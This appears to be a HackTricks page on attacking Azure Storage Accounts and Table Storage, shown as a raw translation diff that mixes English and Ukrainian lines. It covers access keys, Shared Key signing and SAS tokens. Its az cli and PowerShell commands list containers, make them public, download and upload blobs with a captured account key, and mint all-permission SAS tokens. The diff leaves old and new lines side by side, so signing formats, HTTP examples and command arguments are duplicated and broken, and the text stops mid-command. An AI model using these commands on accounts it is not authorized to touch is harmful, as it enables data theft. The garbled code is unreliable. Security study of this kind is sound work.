# Az - Облікові записи зберігання та блоби
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
## Основна інформація
Azure Storage Accounts are fundamental services in Microsoft Azure that provide scalable, secure, and highly available cloud **storage for various data types**, including blobs (binary large objects), files, queues, and tables. They serve as containers that group these different storage services together under a single namespace for easy management.
Облікові записи зберігання Azure є основними сервісами в Microsoft Azure, які забезпечують масштабоване, безпечне та високо доступне хмарне **зберігання для різних типів даних**, включаючи блоби (бінарні великі об'єкти), файли, черги та таблиці. Вони слугують контейнерами, які групують ці різні сервіси зберігання під єдиним простором імен для зручного управління.
**Main configuration options**:
**Основні параметри конфігурації**:
- Every storage account must have a **uniq name across all Azure**.
- Every storage account is deployed in a **region** or in an Azure extended zone
- It's possible to select the **premium** version of the storage account for better performance
- It's possible to select among **4 types of redundancy to protect** against rack, drive and datacenter **failures**.
- Кожен обліковий запис зберігання повинен мати **унікальне ім'я серед усіх Azure**.
- Кожен обліковий запис зберігання розгортається в **регіоні** або в розширеній зоні Azure.
- Можливо вибрати **преміум** версію облікового запису зберігання для кращої продуктивності.
- Можливо вибрати серед **4 типів надмірності для захисту** від відмов **в стійках, дисках та дата-центрах**.
**Security configuration options**:
**Параметри конфігурації безпеки**:
- **Require secure transfer for REST API operations**: Require TLS in any communication with the storage
- **Allows enabling anonymous access on individual containers**: If not, it won't be possible to enable anonymous access in the future
- **Enable storage account key access**: If not, access with Shared Keys will be forbidden
- **Minimum TLS version**
- **Permitted scope for copy operations**: Allow from any storage account, from any storage account from the same Entra tenant or from storage account with private endpoints in the same virtual network.
- **Вимагати безпечну передачу для операцій REST API**: Вимагати TLS у будь-якому спілкуванні зі зберіганням.
- **Дозволяє увімкнути анонімний доступ до окремих контейнерів**: Якщо ні, у майбутньому не буде можливості увімкнути анонімний доступ.
- **Увімкнути доступ за ключем облікового запису зберігання**: Якщо ні, доступ з використанням спільних ключів буде заборонено.
- **Мінімальна версія TLS**.
- **Дозволений обсяг для операцій копіювання**: Дозволити з будь-якого облікового запису зберігання, з будь-якого облікового запису зберігання з того ж орендаря Entra або з облікового запису зберігання з приватними кінцевими точками в тій же віртуальній мережі.
**Blob Storage options**:
**Параметри зберігання блобів**:
- **Allow cross-tenant replication**
- **Access tier**: Hot (frequently access data), Cool and Cold (rarely accessed data)
- **Дозволити крос-орендаторну реплікацію**.
- **Рівень доступу**: Гарячий (часто доступні дані), Холодний та Льодовий (рідко доступні дані).
**Networking options**:
**Параметри мережі**:
- **Network access**:
- Allow from all networks
- Allow from selected virtual networks and IP addresses
- Disable public access and use private access
- **Private endpoints**: It allows a private connection to the storage account from a virtual network
- **Доступ до мережі**:
- Дозволити з усіх мереж.
- Дозволити з вибраних віртуальних мереж та IP-адрес.
- Вимкнути публічний доступ і використовувати приватний доступ.
- **Приватні кінцеві точки**: Дозволяє приватне з'єднання з обліковим записом зберігання з віртуальної мережі.
**Data protection options**:
**Параметри захисту даних**:
- **Point-in-time restore for containers**: Allows to restore containers to an earlier state
- It requires versioning, change feed, and blob soft delete to be enabled.
- **Enable soft delete for blobs**: It enables a retention period in days for deleted blobs (even overwritten)
- **Enable soft delete for containers**: It enables a retention period in days for deleted containers
- **Enable soft delete for file shares**: It enables a retention period in days for deleted file shared
- **Enable versioning for blobs**: Maintain previous versions of your blobs
- **Enable blob change feed**: Keep logs of create, modification, and delete changes to blobs
- **Enable version-level immutability support**: Allows you to set time-based retention policy on the account-level that will apply to all blob versions.
- Version-level immutability support and point-in-time restore for containers cannot be enabled simultaneously.
- **Відновлення на момент часу для контейнерів**: Дозволяє відновити контейнери до попереднього стану.
- Це вимагає увімкнення версійності, зміни потоку та м'якого видалення блобів.
- **Увімкнути м'яке видалення для блобів**: Дозволяє період зберігання в днях для видалених блобів (навіть перезаписаних).
- **Увімкнути м'яке видалення для контейнерів**: Дозволяє період зберігання в днях для видалених контейнерів.
- **Увімкнути м'яке видалення для загальних файлів**: Дозволяє період зберігання в днях для видалених загальних файлів.
- **Увімкнути версійність для блобів**: Зберігайте попередні версії ваших блобів.
- **Увімкнути зміну потоку блобів**: Зберігайте журнали створення, модифікації та видалення змін до блобів.
- **Увімкнути підтримку незмінності на рівні версії**: Дозволяє встановити політику зберігання на основі часу на рівні облікового запису, яка буде застосовуватися до всіх версій блобів.
- Підтримка незмінності на рівні версії та відновлення на момент часу для контейнерів не можуть бути увімкнені одночасно.
**Encryption configuration options**:
**Параметри конфігурації шифрування**:
- **Encryption type**: It's possible to use Microsoft-managed keys (MMK) or Customer-managed keys (CMK)
- **Enable infrastructure encryption**: Allows to double encrypt the data "for more security"
- **Тип шифрування**: Можливо використовувати ключі, керовані Microsoft (MMK) або ключі, керовані клієнтом (CMK).
- **Увімкнути шифрування інфраструктури**: Дозволяє подвоїти шифрування даних "для більшої безпеки".
### Storage endpoints
### Кінцеві точки зберігання
<table data-header-hidden><thead><tr><th width="197">Storage Service</th><th>Endpoint</th></tr></thead><tbody><tr><td><strong>Blob storage</strong></td><td><code>https://&#x3C;storage-account>.blob.core.windows.net</code><br><br><code>https://&#x3C;stg-acc>.blob.core.windows.net/&#x3C;container-name>?restype=container&#x26;comp=list</code></td></tr><tr><td><strong>Data Lake Storage</strong></td><td><code>https://&#x3C;storage-account>.dfs.core.windows.net</code></td></tr><tr><td><strong>Azure Files</strong></td><td><code>https://&#x3C;storage-account>.file.core.windows.net</code></td></tr><tr><td><strong>Queue storage</strong></td><td><code>https://&#x3C;storage-account>.queue.core.windows.net</code></td></tr><tr><td><strong>Table storage</strong></td><td><code>https://&#x3C;storage-account>.table.core.windows.net</code></td></tr></tbody></table>
<table data-header-hidden><thead><tr><th width="197">Сервіс зберігання</th><th>Кінцева точка</th></tr></thead><tbody><tr><td><strong>Зберігання блобів</strong></td><td><code>https://&#x3C;storage-account>.blob.core.windows.net</code><br><br><code>https://&#x3C;stg-acc>.blob.core.windows.net/&#x3C;container-name>?restype=container&#x26;comp=list</code></td></tr><tr><td><strong>Зберігання Data Lake</strong></td><td><code>https://&#x3C;storage-account>.dfs.core.windows.net</code></td></tr><tr><td><strong>Azure Files</strong></td><td><code>https://&#x3C;storage-account>.file.core.windows.net</code></td></tr><tr><td><strong>Зберігання черг</strong></td><td><code>https://&#x3C;storage-account>.queue.core.windows.net</code></td></tr><tr><td><strong>Зберігання таблиць</strong></td><td><code>https://&#x3C;storage-account>.table.core.windows.net</code></td></tr></tbody></table>
### Public Exposure
### Публічне відкриття
If "Allow Blob public access" is **enabled** (disabled by default), when creating a container it's possible to:
Якщо "Дозволити публічний доступ до блобів" **увімкнено** (за замовчуванням вимкнено), при створенні контейнера можливо:
- Give **public access to read blobs** (you need to know the name).
- **List container blobs** and **read** them.
- Make it fully **private**
- Надати **публічний доступ для читання блобів** (необхідно знати ім'я).
- **Переглядати блоби контейнера** та **читати** їх.
- Зробити його повністю **приватним**.
<figure><img src="https://lh7-rt.googleusercontent.com/slidesz/AGV_vUfoetUnYBPWQpRrWNnnlbqWpl8Rdoaeg5uBrCVlvcNDlnKwQHjZe8nUb2SfPspBgbu-lCZLmUei-hFi_Jl2eKbaxUtBGTjdUSDmkrcwr90VZkmuMjk9tyh92p75btfyzGiUTa0-=s2048?key=m8TV59TrCFPlkiNnmhYx3aZt" alt=""><figcaption></figcaption></figure>
### Connect to Storage
### Підключення до зберігання
If you find any **storage** you can connect to you could use the tool [**Microsoft Azure Storage Explorer**](https://azure.microsoft.com/es-es/products/storage/storage-explorer/) to do so.
Якщо ви знайдете будь-яке **зберігання**, до якого можете підключитися, ви можете використовувати інструмент [**Microsoft Azure Storage Explorer**](https://azure.microsoft.com/es-es/products/storage/storage-explorer/) для цього.
## Access to Storage <a href="#about-blob-storage" id="about-blob-storage"></a>
## Доступ до зберігання <a href="#about-blob-storage" id="about-blob-storage"></a>
### RBAC
It's possible to use Entra ID principals with **RBAC roles** to access storage accounts and it's the recommended way.
Можливо використовувати принципи Entra ID з **ролями RBAC** для доступу до облікових записів зберігання, і це рекомендований спосіб.
### Access Keys
### Ключі доступу
The storage accounts have access keys that can be used to access it. This provides f**ull access to the storage account.**
Облікові записи зберігання мають ключі доступу, які можна використовувати для доступу до них. Це забезпечує **повний доступ до облікового запису зберігання.**
<figure><img src="../../../images/image (5).png" alt=""><figcaption></figcaption></figure>
### **Shared Keys & Lite Shared Keys**
### **Спільні ключі та легкі спільні ключі**
It's possible to [**generate Shared Keys**](https://learn.microsoft.com/en-us/rest/api/storageservices/authorize-with-shared-key) signed with the access keys to authorize access to certain resources via a signed URL.
Можливо [**згенерувати спільні ключі**](https://learn.microsoft.com/en-us/rest/api/storageservices/authorize-with-shared-key), підписані ключами доступу для авторизації доступу до певних ресурсів через підписане URL.
> [!NOTE]
> Note that the `CanonicalizedResource` part represents the storage services resource (URI). And if any part in the URL is encoded, it should also be encoded inside the `CanonicalizedResource`.
> Зверніть увагу, що частина `CanonicalizedResource` представляє ресурс сервісів зберігання (URI). І якщо будь-яка частина в URL закодована, вона також повинна бути закодована всередині `CanonicalizedResource`.
> [!NOTE]
> This is **used by default by `az` cli** to authenticate requests. To make it use the Entra ID principal credentials indicate the param `--auth-mode login`.
- It's possible to generate a **shared key for blob, queue and file services** signing the following information:
> Це **використовується за замовчуванням `az` cli** для аутентифікації запитів. Щоб використовувати облікові дані принципу Entra ID, вкажіть параметр `--auth-mode login`.
- Можливо згенерувати **спільний ключ для блобів, черг та файлових сервісів**, підписуючи таку інформацію:
```bash
StringToSign = VERB + "\n" +
Content-Encoding + "\n" +
Content-Language + "\n" +
Content-Length + "\n" +
Content-MD5 + "\n" +
Content-Type + "\n" +
Date + "\n" +
If-Modified-Since + "\n" +
If-Match + "\n" +
If-None-Match + "\n" +
If-Unmodified-Since + "\n" +
Range + "\n" +
CanonicalizedHeaders +
CanonicalizedResource;
Content-Encoding + "\n" +
Content-Language + "\n" +
Content-Length + "\n" +
Content-MD5 + "\n" +
Content-Type + "\n" +
Date + "\n" +
If-Modified-Since + "\n" +
If-Match + "\n" +
If-None-Match + "\n" +
If-Unmodified-Since + "\n" +
Range + "\n" +
CanonicalizedHeaders +
CanonicalizedResource;
```
- It's possible to generate a **shared key for table services** signing the following information:
- Можливо згенерувати **спільний ключ для сервісів таблиць**, підписавши таку інформацію:
```bash
StringToSign = VERB + "\n" +
Content-MD5 + "\n" +
Content-Type + "\n" +
Date + "\n" +
CanonicalizedResource;
Content-MD5 + "\n" +
Content-Type + "\n" +
Date + "\n" +
CanonicalizedResource;
```
- It's possible to generate a **lite shared key for blob, queue and file services** signing the following information:
- Можливо згенерувати **легкий спільний ключ для сервісів blob, queue та file**, підписавши таку інформацію:
```bash
StringToSign = VERB + "\n" +
Content-MD5 + "\n" +
Content-Type + "\n" +
Date + "\n" +
CanonicalizedHeaders +
CanonicalizedResource;
Content-MD5 + "\n" +
Content-Type + "\n" +
Date + "\n" +
CanonicalizedHeaders +
CanonicalizedResource;
```
- It's possible to generate a **lite shared key for table services** signing the following information:
- Можливо згенерувати **lite shared key для сервісів таблиць**, підписавши таку інформацію:
```bash
StringToSign = Date + "\n"
CanonicalizedResource
CanonicalizedResource
```
Then, to use the key, it can be done in the Authorization header following the syntax:
Тоді, щоб використовувати ключ, це можна зробити в заголовку Authorization, дотримуючись синтаксису:
```bash
Authorization="[SharedKey|SharedKeyLite] <AccountName>:<Signature>"
#e.g.
Authorization: SharedKey myaccount:ctzMq410TV3wS7upTBcunJTDLEJwMAZuFPfr0mrrA08=
PUT http://myaccount/mycontainer?restype=container&timeout=30 HTTP/1.1
x-ms-version: 2014-02-14
x-ms-date: Fri, 26 Jun 2015 23:39:12 GMT
Authorization: SharedKey myaccount:ctzMq410TV3wS7upTBcunJTDLEJwMAZuFPfr0mrrA08=
Content-Length: 0
x-ms-version: 2014-02-14
x-ms-date: Fri, 26 Jun 2015 23:39:12 GMT
Authorization: SharedKey myaccount:ctzMq410TV3wS7upTBcunJTDLEJwMAZuFPfr0mrrA08=
Content-Length: 0
```
### **Shared Access Signature** (SAS)
Shared Access Signatures (SAS) are secure, time-limited URLs that **grant specific permissions to access resource**s in an Azure Storage account without exposing the account's access keys. While access keys provide full administrative access to all resources, SAS allows for granular control by specifying permissions (like read or write) and defining an expiration time.
Shared Access Signatures (SAS) - це безпечні, обмежені за часом URL-адреси, які **надають конкретні дозволи для доступу до ресурсів** в обліковому записі Azure Storage без розкриття ключів доступу облікового запису. Хоча ключі доступу надають повний адміністративний доступ до всіх ресурсів, SAS дозволяє здійснювати детальний контроль, вказуючи дозволи (наприклад, читання або запис) і визначаючи час закінчення терміну дії.
#### SAS Types
- **User delegation SAS**: This is created from an **Entra ID principal** which will sign the SAS and delegate the permissions from the user to the SAS. It can only be used with **blob and data lake storage** ([docs](https://learn.microsoft.com/en-us/rest/api/storageservices/create-user-delegation-sas)). It's possible to **revoke** all generated user delegated SAS.
- Even if it's possible to generate a delegation SAS with "more" permissions than the ones the user has. However, if the principal doesn't have them, it won't work (no privesc).
- **Service SAS**: This is signed using one of the storage account **access keys**. It can be used to grant access to specific resources in a single storage service. If the key is renewed, the SAS will stop working.
- **Account SAS**: It's also signed with one of the storage account **access keys**. It grants access to resources across a storage account services (Blob, Queue, Table, File) and can include service-level operations.
- **User delegation SAS**: Це створюється з **Entra ID principal**, який підпише SAS і делегує дозволи від користувача до SAS. Його можна використовувати лише з **blob і data lake storage** ([docs](https://learn.microsoft.com/en-us/rest/api/storageservices/create-user-delegation-sas)). Можливо **анулювати** всі згенеровані SAS для делегованих користувачів.
- Навіть якщо можливо згенерувати делегований SAS з "більшими" дозволами, ніж ті, які має користувач. Однак, якщо у принципала їх немає, це не спрацює (без підвищення привілеїв).
- **Service SAS**: Це підписується за допомогою одного з **ключів доступу** облікового запису. Його можна використовувати для надання доступу до конкретних ресурсів в одному сервісі зберігання. Якщо ключ буде оновлено, SAS перестане працювати.
- **Account SAS**: Він також підписується одним з **ключів доступу** облікового запису. Він надає доступ до ресурсів через сервіси облікового запису зберігання (Blob, Queue, Table, File) і може включати операції на рівні сервісу.
A SAS URL signed by an **access key** looks like this:
URL-адреса SAS, підписана **ключем доступу**, виглядає так:
- `https://<container_name>.blob.core.windows.net/newcontainer?sp=r&st=2021-09-26T18:15:21Z&se=2021-10-27T02:14:21Z&spr=https&sv=2021-07-08&sr=c&sig=7S%2BZySOgy4aA3Dk0V1cJyTSIf1cW%2Fu3WFkhHV32%2B4PE%3D`
A SAS URL signed as a **user delegation** looks like this:
URL-адреса SAS, підписана як **user delegation**, виглядає так:
- `https://<container_name>.blob.core.windows.net/testing-container?sp=r&st=2024-11-22T15:07:40Z&se=2024-11-22T23:07:40Z&skoid=d77c71a1-96e7-483d-bd51-bd753aa66e62&sktid=fdd066e1-ee37-49bc-b08f-d0e152119b04&skt=2024-11-22T15:07:40Z&ske=2024-11-22T23:07:40Z&sks=b&skv=2022-11-02&spr=https&sv=2022-11-02&sr=c&sig=7s5dJyeE6klUNRulUj9TNL0tMj2K7mtxyRc97xbYDqs%3D`
Note some **http params**:
Зверніть увагу на деякі **http params**:
- The **`se`** param indicates the **expiration date** of the SAS
- The **`sp`** param indicates the **permissions** of the SAS
- The **`sig`** is the **signature** validating the SAS
- Параметр **`se`** вказує на **дату закінчення терміну дії** SAS
- Параметр **`sp`** вказує на **дозволи** SAS
- **`sig`** - це **підпис**, що підтверджує SAS
#### SAS permissions
When generating a SAS it's needed to indicate the permissions that it should be granting. Depending on the objet the SAS is being generated over different permissions might be included. For example:
При генерації SAS потрібно вказати дозволи, які він повинен надавати. В залежності від об'єкта, для якого генерується SAS, можуть бути включені різні дозволи. Наприклад:
- (a)dd, (c)reate, (d)elete, (e)xecute, (f)ilter_by_tags, (i)set_immutability_policy, (l)ist, (m)ove, (r)ead, (t)ag, (w)rite, (x)delete_previous_version, (y)permanent_delete
## SFTP Support for Azure Blob Storage
Azure Blob Storage now supports the SSH File Transfer Protocol (SFTP), enabling secure file transfer and management directly to Blob Storage without requiring custom solutions or third-party products.
Azure Blob Storage тепер підтримує SSH File Transfer Protocol (SFTP), що дозволяє безпечну передачу файлів і управління ними безпосередньо до Blob Storage без необхідності в кастомних рішеннях або продуктах третіх сторін.
### Key Features
- Protocol Support: SFTP works with Blob Storage accounts configured with hierarchical namespace (HNS). This organizes blobs into directories and subdirectories for easier navigation.
- Security: SFTP uses local user identities for authentication and does not integrate with RBAC or ABAC. Each local user can authenticate via:
- Azure-generated passwords
- Public-private SSH key pairs
- Granular Permissions: Permissions such as Read, Write, Delete, and List can be assigned to local users for up to 100 containers.
- Networking Considerations: SFTP connections are made through port 22. Azure supports network configurations like firewalls, private endpoints, or virtual networks to secure SFTP traffic.
- Підтримка протоколу: SFTP працює з обліковими записами Blob Storage, налаштованими з ієрархічним простором імен (HNS). Це організовує блоби в каталоги та підкаталоги для зручнішої навігації.
- Безпека: SFTP використовує локальні ідентичності користувачів для аутентифікації і не інтегрується з RBAC або ABAC. Кожен локальний користувач може аутентифікуватися через:
- Паролі, згенеровані Azure
- Пара ключів SSH (публічний-приватний)
- Деталізовані дозволи: Дозволи, такі як Читання, Запис, Видалення та Список, можуть бути призначені локальним користувачам для до 100 контейнерів.
- Мережеві міркування: З'єднання SFTP здійснюються через порт 22. Azure підтримує мережеві конфігурації, такі як брандмауери, приватні кінцеві точки або віртуальні мережі для захисту трафіку SFTP.
### Setup Requirements
- Hierarchical Namespace: HNS must be enabled when creating the storage account.
- Supported Encryption: Requires Microsoft Security Development Lifecycle (SDL)-approved cryptographic algorithms (e.g., rsa-sha2-256, ecdsa-sha2-nistp256).
- SFTP Configuration:
- Enable SFTP on the storage account.
- Create local user identities with appropriate permissions.
- Configure home directories for users to define their starting location within the container.
- Ієрархічний простір імен: HNS повинен бути увімкнений під час створення облікового запису зберігання.
- Підтримуване шифрування: Потрібні криптографічні алгоритми, схвалені Microsoft Security Development Lifecycle (SDL) (наприклад, rsa-sha2-256, ecdsa-sha2-nistp256).
- Налаштування SFTP:
- Увімкніть SFTP на обліковому записі зберігання.
- Створіть локальні ідентичності користувачів з відповідними дозволами.
- Налаштуйте домашні каталоги для користувачів, щоб визначити їхнє початкове місце розташування в контейнері.
### Permissions
| Permission | Symbol | Description |
| ---------------------- | ------ | ------------------------------------ |
| **Read** | `r` | Read file content. |
| **Write** | `w` | Upload files and create directories. |
| **List** | `l` | List contents of directories. |
| **Delete** | `d` | Delete files or directories. |
| **Create** | `c` | Create files or directories. |
| **Modify Ownership** | `o` | Change the owning user or group. |
| **Modify Permissions** | `p` | Change ACLs on files or directories. |
| **Read** | `r` | Читати вміст файлу. |
| **Write** | `w` | Завантажувати файли та створювати каталоги. |
| **List** | `l` | Переглядати вміст каталогів. |
| **Delete** | `d` | Видаляти файли або каталоги. |
| **Create** | `c` | Створювати файли або каталоги. |
| **Modify Ownership** | `o` | Змінювати власника користувача або групи. |
| **Modify Permissions** | `p` | Змінювати ACL на файлах або каталогах. |
## Enumeration
{{#tabs }}
{{#tab name="az cli" }}
```bash
# Get storage accounts
az storage account list #Get the account name from here
@@ -231,31 +220,31 @@ az storage account list #Get the account name from here
az storage container list --account-name <name>
## Check if public access is allowed
az storage container show-permission \
--account-name <acc-name> \
-n <container-name>
--account-name <acc-name> \
-n <container-name>
## Make a container public
az storage container set-permission \
--public-access container \
--account-name <acc-name> \
-n <container-name>
--public-access container \
--account-name <acc-name> \
-n <container-name>
## List blobs in a container
az storage blob list \
--container-name <container name> \
--account-name <account name>
--container-name <container name> \
--account-name <account name>
## Download blob
az storage blob download \
--account-name <account name> \
--container-name <container name> \
--name <blob name> \
--file </path/to/local/file>
--account-name <account name> \
--container-name <container name> \
--name <blob name> \
--file </path/to/local/file>
## Create container policy
az storage container policy create \
--account-name mystorageaccount \
--container-name mycontainer \
--name fullaccesspolicy \
--permissions racwdl \
--start 2023-11-22T00:00Z \
--expiry 2024-11-22T00:00Z
--account-name mystorageaccount \
--container-name mycontainer \
--name fullaccesspolicy \
--permissions racwdl \
--start 2023-11-22T00:00Z \
--expiry 2024-11-22T00:00Z
# QUEUE
az storage queue list --account-name <name>
@@ -268,81 +257,79 @@ az storage account show -n <name> --query "{KeyPolicy:keyPolicy}"
## Once having the key, it's possible to use it with the argument --account-key
## Enum blobs with account key
az storage blob list \
--container-name <container name> \
--account-name <account name> \
--account-key "ZrF40pkVKvWPUr[...]v7LZw=="
--container-name <container name> \
--account-name <account name> \
--account-key "ZrF40pkVKvWPUr[...]v7LZw=="
## Download a file using an account key
az storage blob download \
--account-name <account name> \
--account-key "ZrF40pkVKvWPUr[...]v7LZw==" \
--container-name <container name> \
--name <blob name> \
--file </path/to/local/file>
--account-name <account name> \
--account-key "ZrF40pkVKvWPUr[...]v7LZw==" \
--container-name <container name> \
--name <blob name> \
--file </path/to/local/file>
## Upload a file using an account key
az storage blob upload \
--account-name <account name> \
--account-key "ZrF40pkVKvWPUr[...]v7LZw==" \
--container-name <container name> \
--file </path/to/local/file>
--account-name <account name> \
--account-key "ZrF40pkVKvWPUr[...]v7LZw==" \
--container-name <container name> \
--file </path/to/local/file>
# SAS
## List access policies
az storage <container|queue|share|table> policy list \
--account-name <acc name> \
--container-name <container name>
--account-name <acc name> \
--container-name <container name>
## Generate SAS with all permissions using an access key
az storage <container|queue|share|table|blob> generate-sas \
--permissions acdefilmrtwxy \
--expiry 2024-12-31T23:59:00Z \
--account-name <acc-name> \
-n <container-name>
--permissions acdefilmrtwxy \
--expiry 2024-12-31T23:59:00Z \
--account-name <acc-name> \
-n <container-name>
## Generate SAS with all permissions using via user delegation
az storage <container|queue|share|table|blob> generate-sas \
--permissions acdefilmrtwxy \
--expiry 2024-12-31T23:59:00Z \
--account-name <acc-name> \
--as-user --auth-mode login \
-n <container-name>
--permissions acdefilmrtwxy \
--expiry 2024-12-31T23:59:00Z \
--account-name <acc-name> \
--as-user --auth-mode login \
-n <container-name>
## Generate account SAS
az storage account generate-sas \
--expiry 2024-12-31T23:59:00Z \
--account-name <acc-name> \
--services qt \
--resource-types sco \
--permissions acdfilrtuwxy
--expiry 2024-12-31T23:59:00Z \
--account-name <acc-name> \
--services qt \
--resource-types sco \
--permissions acdfilrtuwxy
## Use the returned SAS key with the param --sas-token
## e.g.
az storage blob show \
--account-name <account name> \
--container-name <container name> \
--sas-token 'se=2024-12-31T23%3A59%3A00Z&sp=racwdxyltfmei&sv=2022-11-02&sr=c&sig=ym%2Bu%2BQp5qqrPotIK5/rrm7EMMxZRwF/hMWLfK1VWy6E%3D' \
--name 'asd.txt'
--account-name <account name> \
--container-name <container name> \
--sas-token 'se=2024-12-31T23%3A59%3A00Z&sp=racwdxyltfmei&sv=2022-11-02&sr=c&sig=ym%2Bu%2BQp5qqrPotIK5/rrm7EMMxZRwF/hMWLfK1VWy6E%3D' \
--name 'asd.txt'
#Local-Users
## List users
az storage account local-user list \
--account-name <storage-account-name> \
--resource-group <resource-group-name>
--account-name <storage-account-name> \
--resource-group <resource-group-name>
## Get user
az storage account local-user show \
--account-name <storage-account-name> \
--resource-group <resource-group-name> \
--name <local-user-name>
--account-name <storage-account-name> \
--resource-group <resource-group-name> \
--name <local-user-name>
## List keys
az storage account local-user list \
--account-name <storage-account-name> \
--resource-group <resource-group-name>
--account-name <storage-account-name> \
--resource-group <resource-group-name>
```
{{#endtab }}
{{#tab name="Az PowerShell" }}
```powershell
# Get storage accounts
Get-AzStorageAccount | fl
@@ -359,16 +346,16 @@ Get-AzStorageBlobContent -Container <NAME> -Context (Get-AzStorageAccount -name
# Create a Container Policy
New-AzStorageContainerStoredAccessPolicy `
-Context (Get-AzStorageAccount -Name <NAME> -ResourceGroupName <NAME>).Context `
-Container <container-name> `
-Policy <policy-name> `
-Permission racwdl `
-StartTime (Get-Date "2023-11-22T00:00Z") `
-ExpiryTime (Get-Date "2024-11-22T00:00Z")
-Context (Get-AzStorageAccount -Name <NAME> -ResourceGroupName <NAME>).Context `
-Container <container-name> `
-Policy <policy-name> `
-Permission racwdl `
-StartTime (Get-Date "2023-11-22T00:00Z") `
-ExpiryTime (Get-Date "2024-11-22T00:00Z")
#Get Container policy
Get-AzStorageContainerStoredAccessPolicy `
-Context (Get-AzStorageAccount -Name <NAME> -ResourceGroupName <NAME>).Context `
-Container "storageaccount1994container"
-Context (Get-AzStorageAccount -Name <NAME> -ResourceGroupName <NAME>).Context `
-Container "storageaccount1994container"
# Queue Management
Get-AzStorageQueue -Context (Get-AzStorageAccount -Name <NAME> -ResourceGroupName <NAME>).Context
@@ -377,65 +364,60 @@ Get-AzStorageQueue -Context (Get-AzStorageAccount -Name <NAME> -ResourceGroupNam
#Blob Container
Get-AzStorageBlob -Container <container-name> -Context $(Get-AzStorageAccount -name "teststorageaccount1998az" -ResourceGroupName "testStorageGroup").Context
Get-AzStorageBlobContent `
-Container <container-name> `
-Blob <blob-name> `
-Destination <local-path> `
-Context $(Get-AzStorageAccount -name "teststorageaccount1998az" -ResourceGroupName "testStorageGroup").Context
-Container <container-name> `
-Blob <blob-name> `
-Destination <local-path> `
-Context $(Get-AzStorageAccount -name "teststorageaccount1998az" -ResourceGroupName "testStorageGroup").Context
Set-AzStorageBlobContent `
-Container <container-name> `
-File <local-file-path> `
-Blob <blob-name> `
-Context $(Get-AzStorageAccount -name "teststorageaccount1998az" -ResourceGroupName "testStorageGroup").Context
-Container <container-name> `
-File <local-file-path> `
-Blob <blob-name> `
-Context $(Get-AzStorageAccount -name "teststorageaccount1998az" -ResourceGroupName "testStorageGroup").Context
# Shared Access Signatures (SAS)
Get-AzStorageContainerAcl `
-Container <container-name> `
-Context (Get-AzStorageAccount -Name <NAME> -ResourceGroupName <NAME>).Context
-Container <container-name> `
-Context (Get-AzStorageAccount -Name <NAME> -ResourceGroupName <NAME>).Context
New-AzStorageBlobSASToken `
-Context $ctx `
-Container <container-name> `
-Blob <blob-name> `
-Permission racwdl `
-ExpiryTime (Get-Date "2024-12-31T23:59:00Z")
-Context $ctx `
-Container <container-name> `
-Blob <blob-name> `
-Permission racwdl `
-ExpiryTime (Get-Date "2024-12-31T23:59:00Z")
```
{{#endtab }}
{{#endtabs }}
### File Shares
### Файлові спільноти
{{#ref}}
az-file-shares.md
{{#endref}}
## Privilege Escalation
## Підвищення привілеїв
{{#ref}}
../az-privilege-escalation/az-storage-privesc.md
{{#endref}}
## Post Exploitation
## Постексплуатація
{{#ref}}
../az-post-exploitation/az-blob-storage-post-exploitation.md
{{#endref}}
## Persistence
## Постійність
{{#ref}}
../az-persistence/az-storage-persistence.md
{{#endref}}
## References
## Посилання
- [https://learn.microsoft.com/en-us/azure/storage/blobs/storage-blobs-introduction](https://learn.microsoft.com/en-us/azure/storage/blobs/storage-blobs-introduction)
- [https://learn.microsoft.com/en-us/azure/storage/common/storage-sas-overview](https://learn.microsoft.com/en-us/azure/storage/common/storage-sas-overview)
- [https://learn.microsoft.com/en-us/azure/storage/blobs/secure-file-transfer-protocol-support](https://learn.microsoft.com/en-us/azure/storage/blobs/secure-file-transfer-protocol-support)
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,33 +4,32 @@
## Basic Information
**Azure Table Storage** is a NoSQL key-value store designed for storing large volumes of structured, non-relational data. It offers high availability, low latency, and scalability to handle large datasets efficiently. Data is organized into tables, with each entity identified by a partition key and row key, enabling fast lookups. It supports features like encryption at rest, role-based access control, and shared access signatures for secure, managed storage suitable for a wide range of applications.
**Azure Table Storage** - це NoSQL сховище ключ-значення, призначене для зберігання великих обсягів структурованих, нереляційних даних. Воно пропонує високу доступність, низьку затримку та масштабованість для ефективної обробки великих наборів даних. Дані організовані в таблиці, кожна сутність ідентифікується за допомогою ключа розділу та ключа рядка, що забезпечує швидкий пошук. Воно підтримує такі функції, як шифрування в спокої, контроль доступу на основі ролей та підписи спільного доступу для безпечного, керованого зберігання, придатного для широкого спектру застосувань.
There **isn't built-in backup mechanism** for table storage.
**Не існує вбудованого механізму резервного копіювання** для таблиць.
### Keys
#### **PartitionKey**
- The **PartitionKey groups entities into logical partitions**. Entities with the same PartitionKey are stored together, which improves query performance and scalability.
- Example: In a table storing employee data, `PartitionKey` might represent a department, e.g., `"HR"` or `"IT"`.
- **PartitionKey групує сутності в логічні розділи**. Сутності з однаковим PartitionKey зберігаються разом, що покращує продуктивність запитів і масштабованість.
- Приклад: У таблиці, що зберігає дані про працівників, `PartitionKey` може представляти відділ, наприклад, `"HR"` або `"IT"`.
#### **RowKey**
- The **RowKey is the unique identifier** for an entity within a partition. When combined with the PartitionKey, it ensures that each entity in the table has a globally unique identifier.
- Example: For the `"HR"` partition, `RowKey` might be an employee ID, e.g., `"12345"`.
- **RowKey є унікальним ідентифікатором** для сутності в межах розділу. У поєднанні з PartitionKey він забезпечує, що кожна сутність у таблиці має глобально унікальний ідентифікатор.
- Приклад: Для розділу `"HR"` `RowKey` може бути ідентифікатором працівника, наприклад, `"12345"`.
#### **Other Properties (Custom Properties)**
- Besides the PartitionKey and RowKey, an entity can have additional **custom properties to store data**. These are user-defined and act like columns in a traditional database.
- Properties are stored as **key-value pairs**.
- Example: `Name`, `Age`, `Title` could be custom properties for an employee.
- Окрім PartitionKey та RowKey, сутність може мати додаткові **кастомні властивості для зберігання даних**. Це визначені користувачем властивості, які діють як стовпці в традиційній базі даних.
- Властивості зберігаються у вигляді **пар ключ-значення**.
- Приклад: `Name`, `Age`, `Title` можуть бути кастомними властивостями для працівника.
## Enumeration
{{#tabs}}
{{#tab name="az cli"}}
```bash
# Get storage accounts
az storage account list
@@ -40,32 +39,30 @@ az storage table list --account-name <name>
# Read table
az storage entity query \
--account-name <name> \
--table-name <t-name> \
--top 10
--account-name <name> \
--table-name <t-name> \
--top 10
# Write table
az storage entity insert \
--account-name <STORAGE_ACCOUNT_NAME> \
